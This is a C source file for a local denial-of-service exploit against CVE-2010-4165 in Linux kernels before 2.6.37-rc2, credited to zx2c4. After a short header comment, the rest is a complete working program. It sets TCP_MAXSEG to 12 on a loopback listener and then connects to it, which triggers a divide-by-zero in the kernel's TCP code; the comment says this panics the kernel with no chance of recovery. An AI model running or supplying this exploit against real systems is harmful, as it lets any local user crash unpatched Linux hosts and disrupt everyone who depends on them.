/*
 * TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
 * by zx2c4
 *
 * This exploit triggers CVE-2010-4165, a divide by zero
 * error in net/ipv4/tcp.c. Because this is on the softirq
 * path, the kernel oopses and then completely dies with
 * no chance of recovery. It has been very reliable as a
 * DoS, but is not useful for triggering other bugs.
 *
 * -zx2c4, 28-2-2011
 */
 
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
 
int main()
{
    struct sockaddr_in laddr;
    memset(&laddr, 0, sizeof(laddr));
    laddr.sin_family = AF_INET;
    laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    laddr.sin_port = htons(31337);
    int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (listener < 0) {
        printf("[-] Could not open listener.\n");
        return -1;
    }
    int val = 12;
    if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
        printf("[-] Could not set sockopt.\n");
        return -1;
    }
    if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
        printf("[-] Could not bind to address.\n");
        return -1;
    }
    if (listen(listener, 1) < 0) {
        printf("[-] Could not listen.\n");
        return -1;
    }
    int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (hello < 0) {
        printf("[-] Could not open connector.\n");
        return -1;
    }
    if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
        printf("[-] Could not connect to listener.\n");
        return -1;
    }
    printf("[-] Connection did not trigger oops.\n");
    return 0;
}